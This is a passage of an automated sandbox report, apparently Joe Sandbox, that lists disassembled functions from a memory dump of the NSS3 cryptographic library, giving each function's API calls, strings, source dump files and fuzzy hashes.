Part of subcall function 6CAA2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CAA2CDA,?,00000000), ref: 6CAA2E1E
Part of subcall function 6CAA2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CAA2E33
Part of subcall function 6CAA2E00: TlsGetValue.KERNEL32 ref: 6CAA2E4E
Part of subcall function 6CAA2E00: EnterCriticalSection.KERNEL32(?), ref: 6CAA2E5E
Part of subcall function 6CAA2E00: PL_HashTableLookup.NSS3(?), ref: 6CAA2E71
Part of subcall function 6CAA2E00: PL_HashTableRemove.NSS3(?), ref: 6CAA2E84
Part of subcall function 6CAA2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CAA2E96
Part of subcall function 6CAA2E00: PR_Unlock.NSS3 ref: 6CAA2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CAA2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CAA2D3F
free.MOZGLUE(00000000), ref: 6CAA2D73
CERT_DestroyCertificate.NSS3(?), ref: 6CAA2DB8
free.MOZGLUE ref: 6CAA2DC8

Part of subcall function 6CAA3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA3EC2
Part of subcall function 6CAA3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CAA3ED6
Part of subcall function 6CAA3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA3EEE
Part of subcall function 6CAA3E60: PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CAA3F02
Part of subcall function 6CAA3E60: PL_FreeArenaPool.NSS3 ref: 6CAA3F14
Part of subcall function 6CAA3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA3F27

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 8006aabc2600326ab4fba165884bf20c80fce0cc78c11098103dc0f005208f32
Instruction ID: 7be230b2d76075ca2368e2a7f0be1ef48fc23da216399f074744d5c1cf02a1f5
Opcode Fuzzy Hash: 8006aabc2600326ab4fba165884bf20c80fce0cc78c11098103dc0f005208f32
Instruction Fuzzy Hash: 7D51E2716043119FEB119FA6DC45B6B77E5EF84308F18062CEC5983B11E731E8AACB92

Function 6CAC8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAC8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAC8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAC8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAC9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAC9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAC905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAC9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAC90EC

Part of subcall function 6CA90F00: PR_GetPageSize.NSS3(6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F1B
Part of subcall function 6CA90F00: PR_NewLogModule.NSS3(clock,6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAC9111

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: c52c55d740f5d170a3a5338458e0aa6dae19825a213365c1fa50b4aca1db547c
Instruction ID: d427f79ae1730994338e96eb15a0bb2fec5aa16afd9fc4805d0de01515b25d3f
Opcode Fuzzy Hash: c52c55d740f5d170a3a5338458e0aa6dae19825a213365c1fa50b4aca1db547c
Instruction Fuzzy Hash: 73517774B046148FDB00EF78C588299BBF4BF09318F0A4569DC459B706EB31E8C9CB82

Function 6CAA7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CAA3F7F,?,00000055,?,?,6CAA1666,?,?), ref: 6CAA40D9
Part of subcall function 6CAA40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CAA1666,?,?), ref: 6CAA40FC
Part of subcall function 6CAA40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CAA1666,?,?), ref: 6CAA4138

PR_GetCurrentThread.NSS3 ref: 6CAA7CFD

Part of subcall function 6CB69BF0: TlsGetValue.KERNEL32(?,?,?,6CBB0A75), ref: 6CB69C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CBC9030), ref: 6CAA7D1B

Part of subcall function 6CAFFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CAA1A3E,00000048,00000054), ref: 6CAFFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CBC9048), ref: 6CAA7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CAA7D50
PR_GetCurrentThread.NSS3 ref: 6CAA7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CAA7D7D
free.MOZGLUE(?), ref: 6CAA7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CAA7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CAA7E19

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: aa8aae17825fe2653461d61f6e978149299b974dc20be8a8369385160c9872fd
Instruction ID: acd7b6065d29e481739b182cf815d565c408ce6f43d8feae901bc55895c46999
Opcode Fuzzy Hash: aa8aae17825fe2653461d61f6e978149299b974dc20be8a8369385160c9872fd
Instruction Fuzzy Hash: 7241BB71A001159BDB009FA9DC41BAF37E8AF5435CF090164EC19E7755E730ED9ACBA1

Function 6CAB7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CAB80DD), ref: 6CAB7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CAB80DD), ref: 6CAB7F36
free.MOZGLUE(?,?,?,6CAB80DD), ref: 6CAB7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CAB80DD), ref: 6CAB7F5D
DeleteCriticalSection.KERNEL32(?,6CAB80DD), ref: 6CAB7F94
free.MOZGLUE(?), ref: 6CAB7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CAB80DD), ref: 6CAB7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CAB80DD), ref: 6CAB7FE6
free.MOZGLUE(?,6CAB80DD), ref: 6CAB802D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: a0c1c5707a078ca0b5eb8979d2cee298bb29f274905ac954fae50a18ca82f76d
Instruction ID: 4ad820499a62635c96592892747ac6bfc798b8ca1829ea1e03004e328b20d16f
Opcode Fuzzy Hash: a0c1c5707a078ca0b5eb8979d2cee298bb29f274905ac954fae50a18ca82f76d
Instruction Fuzzy Hash: D4412971B051008BDB10DFB89898A4A37BDAB47358F16022DE51AE7B41D772D889CBA1

Function 6CAFFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAFFF00

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CAFFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CAFFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CAFFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAFFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAFFF8C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 5c2b356482b0bf0e932f6967e2980488770c447b753fc09752db910db2b9551a
Instruction ID: ae8235622735ff01282f9407212c24e40cf4ccce3051fc2a0733574d4b1bcc93
Opcode Fuzzy Hash: 5c2b356482b0bf0e932f6967e2980488770c447b753fc09752db910db2b9551a
Instruction Fuzzy Hash: 763123B2A013969BF7208E589C40B9A7AE8AF4234CF18413DFD2897B50FB70D955C7D1

Function 6CB04DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CB0536F,00000022,?,?,00000000,?), ref: 6CB04E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CB04F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CB04F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CB04FAE
free.MOZGLUE(?), ref: 6CB04FC8

Strings

%s=%c%s%c, xrefs: 6CB04FA9
%s=%s, xrefs: 6CB04F89

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: ff5bd309c07da465b5a9939adc7d8510026e10589b40b7c384bde66ee0514e86
Instruction ID: e3aad3424cb0c7a1e8203f174ebd8fb99a790e1f3458c362f70a2537bf8c1718
Opcode Fuzzy Hash: ff5bd309c07da465b5a9939adc7d8510026e10589b40b7c384bde66ee0514e86
Instruction Fuzzy Hash: C9516871B051C68BEF05CA69C4907FF7FF5EF62308F288165E894A7B41D32598098FA2

Function 6CA47D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA47E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA47E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CA47EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA47F2E

Strings

database corruption, xrefs: 6CA47EE2, 6CA47F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA47ED8, 6CA47F08, 6CA47F19
%s at line %d of [%.10s], xrefs: 6CA47EE7, 6CA47F28

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: ec9fe4ead2666739855b02652f8c805e03f416d7698af3fc4b9ee186715170e4
Instruction ID: 2571ac165c61d9f613a8dc27e0d95e68f9b8b5fbf7ca3fadc6fd426e7c91cea2
Opcode Fuzzy Hash: ec9fe4ead2666739855b02652f8c805e03f416d7698af3fc4b9ee186715170e4
Instruction Fuzzy Hash: 7161D374A042859FDB05CF25C891FAA3772BF45318F1985A8EC099FB52D731EC95CBA0

Function 6CA2FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA2FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA2FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2FE83

Part of subcall function 6CA2FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CA2FEFA
Part of subcall function 6CA2FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CA2FF3B

Strings

database corruption, xrefs: 6CA2FD6E, 6CA2FE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA2FD64, 6CA2FE26
%s at line %d of [%.10s], xrefs: 6CA2FD73, 6CA2FE35

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: e63fdf1db8fc5d0deffd216d4278eca3780652da030125edf8efc17900d2e618
Instruction ID: b2d7fbf91088e7e6ce7712180358b87ecd0d88cf27b1ff66ba1c1848fe75151a
Opcode Fuzzy Hash: e63fdf1db8fc5d0deffd216d4278eca3780652da030125edf8efc17900d2e618
Instruction Fuzzy Hash: 9B51A470A002258FDF04CFA9D990AAEB7B1FF48318F19406DE905AB752E735EC94CB90

Function 6CB72F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB72FFD
sqlite3_initialize.NSS3 ref: 6CB73007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB73032
sqlite3_mprintf.NSS3(6CBDAAF9,?), ref: 6CB73073
sqlite3_free.NSS3(?), ref: 6CB730B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CB730C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CB730BB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 0788d94bfa1679c82e148b099270dcb9bb159a4ce582463426bfc641ac6573a0
Instruction ID: 538e71f09f6982719b09d7f102c5f5f210eb53b3de607a0a73854c79c5c812b2
Opcode Fuzzy Hash: 0788d94bfa1679c82e148b099270dcb9bb159a4ce582463426bfc641ac6573a0
Instruction Fuzzy Hash: 0941C471600646AFDB10CF25D844A4AB7B9FF44368F148628EC698BB40E731F995CBE2

Function 6CAB8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CAC124D,00000001), ref: 6CAB8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CAC124D,00000001), ref: 6CAB8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CAC124D,00000001), ref: 6CAB8D73
PR_Unlock.NSS3(?,?,?,?,?,6CAC124D,00000001), ref: 6CAB8D8C

Part of subcall function 6CB4DD70: TlsGetValue.KERNEL32 ref: 6CB4DD8C
Part of subcall function 6CB4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CAC124D,00000001), ref: 6CAB8DBA

Strings

KRAM, xrefs: 6CAB8CF9
KRAM, xrefs: 6CAB8D3E

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: efc624274389ebbf7d2921c8b2505d0b6c752508da2a866dfa0b8d61018c08c1
Instruction ID: 90d3b2499ac1bdcf6989c5f2ff41ff98d22bf03e5f419237bf6547bd995d8bc8
Opcode Fuzzy Hash: efc624274389ebbf7d2921c8b2505d0b6c752508da2a866dfa0b8d61018c08c1
Instruction Fuzzy Hash: 7321A1B5A046028FCB00EF7CC58465EBBF8FF45318F15896AD99897701EB34D885CB91

Function 6CADACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CADACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CADAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CADAD23

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CADAD39

Strings

hSession = 0x%x, xrefs: 6CADACFE, 6CADAD0E
C_MessageDecryptFinal, xrefs: 6CADACE1
(CK_INVALID_HANDLE), xrefs: 6CADAD1C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 3ef262f4142a26327836609f1a856064e1ce8306f48edc7b85a4ed13e7c78a1c
Instruction ID: 94a2d0d8c0b6d3a00c6337bb696928c86ce611c88726d8ef49313ec8a6f1cd6d
Opcode Fuzzy Hash: 3ef262f4142a26327836609f1a856064e1ce8306f48edc7b85a4ed13e7c78a1c
Instruction Fuzzy Hash: CD2137717001849FDB009F64DD88BBE37B6EB4231EF07402DE409A7A01DF35AD88C692

Function 6CAD98A0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CancelFunction), ref: 6CAD98C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD98F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD9903

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD9919

Strings

hSession = 0x%x, xrefs: 6CAD98DE, 6CAD98EE
C_CancelFunction, xrefs: 6CAD98C1
(CK_INVALID_HANDLE), xrefs: 6CAD98FC

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_CancelFunction
API String ID: 332880674-2249968871
Opcode ID: d2fde41d375cd86ddf8b1d3d098976d193832b003c1d78ba4b727f0db3d804a1
Instruction ID: cf553e71a40721cbc6bd14d982aa54c165d2eccf524984fbb4e36f652d791296
